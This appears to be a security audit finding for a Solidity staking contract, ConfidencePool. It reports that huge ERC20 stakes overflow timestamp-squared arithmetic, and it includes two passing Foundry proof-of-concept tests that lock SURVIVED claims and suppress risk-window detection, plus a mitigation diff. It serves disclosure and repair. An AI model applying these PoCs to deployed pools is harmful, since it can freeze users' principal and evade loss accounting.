Root + Impact
Description
-
Expected behavior: any stake amount accepted for a supported standard ERC20 should remain safe for later risk-window observation and claim accounting.
-
Issue: ConfidencePool accepts unbounded token amounts, then multiplies those amounts by absolute block timestamps squared. A huge standard ERC20 stake can succeed at deposit time but overflow later in _markRiskWindowStart or _bonusShare.
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
@> sumStakeTime = totalEligibleStake * t;
@> sumStakeTimeSq = totalEligibleStake * t * t;
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
uint256 T = outcomeFlaggedAt;
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
}
The final pro-rata step uses Math.mulDiv, but the T * T * amount inputs are checked uint256 arithmetic and can revert before mulDiv is reached.
Risk
Likelihood:
-
Low. The path requires an allowlisted standard ERC20 with extremely large unit supply or denomination, and an attacker controlling enough units to stake above type(uint256).max / timestamp^2.
-
No callback, fee, rebase, or non-standard token behavior is required once such a token is supported.
Impact:
-
High. A single accepted stake can make SURVIVED or EXPIRED claims revert for all users who reach _bonusShare, locking principal and bonus.
-
The same overflow can roll back active-risk observation, leave riskWindowStart == 0, and let a later CORRUPTED registry resolve as EXPIRED through claimExpired.
Proof of Concept
Native Foundry tests:
function testPocHugeStandardTokenCanLockSurvivedClaimsByOverflowingScoreInputs() external {
uint256 terminalTime = pool.expiry() - 1;
uint256 hugeStake = type(uint256).max / (terminalTime * terminalTime) + 1;
_stake(alice, hugeStake);
_stake(bob, ONE);
_enterRisk();
vm.warp(terminalTime);
_contributeBonus(carol, ONE);
_flagSurvived();
bytes memory panic = abi.encodeWithSelector(bytes4(0x4e487b71), uint256(0x11));
vm.prank(bob);
vm.expectRevert(panic);
pool.claimSurvived();
}
function testPocHugeStandardTokenCanSuppressRiskWindowAndBypassAutoCorrupted() external {
uint256 riskTime = pool.expiry() - 1;
uint256 hugeStake = type(uint256).max / (riskTime * riskTime) + 1;
_stake(alice, hugeStake);
_stake(bob, ONE);
_contributeBonus(carol, ONE);
vm.warp(riskTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(abi.encodeWithSelector(bytes4(0x4e487b71), uint256(0x11)));
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(bob);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
}
Test locations:
test/unit/ConfidencePool.k2Bonus.t.sol::testPocHugeStandardTokenCanLockSurvivedClaimsByOverflowingScoreInputs
test/unit/ConfidencePool.k2Bonus.t.sol::testPocHugeStandardTokenCanSuppressRiskWindowAndBypassAutoCorrupted
Targeted command:
forge test --match-test 'testPocHugeStandardTokenCan(LockSurvivedClaimsByOverflowingScoreInputs|SuppressRiskWindowAndBypassAutoCorrupted)' -vvv
Observed output:
Ran 2 tests for test/unit/ConfidencePool.k2Bonus.t.sol:ConfidencePoolK2BonusTest
[PASS] testPocHugeStandardTokenCanLockSurvivedClaimsByOverflowingScoreInputs() (gas: 655099)
[PASS] testPocHugeStandardTokenCanSuppressRiskWindowAndBypassAutoCorrupted() (gas: 629256)
Suite result: ok. 2 passed; 0 failed; 0 skipped
Recommended Mitigation
Bound k=2 inputs or use bounded elapsed time / 512-bit intermediates.
- uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
- uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
+ uint256 userPlus = checkedScore(T, userEligible, userSumStakeTimeSq[u]);
+ uint256 plus = checkedScore(T, snapshotTotalStaked, snapshotSumStakeTimeSq);
Apply the same bound to _markRiskWindowStart and _clampUserSums; otherwise the risk-window observation bypass remains reachable.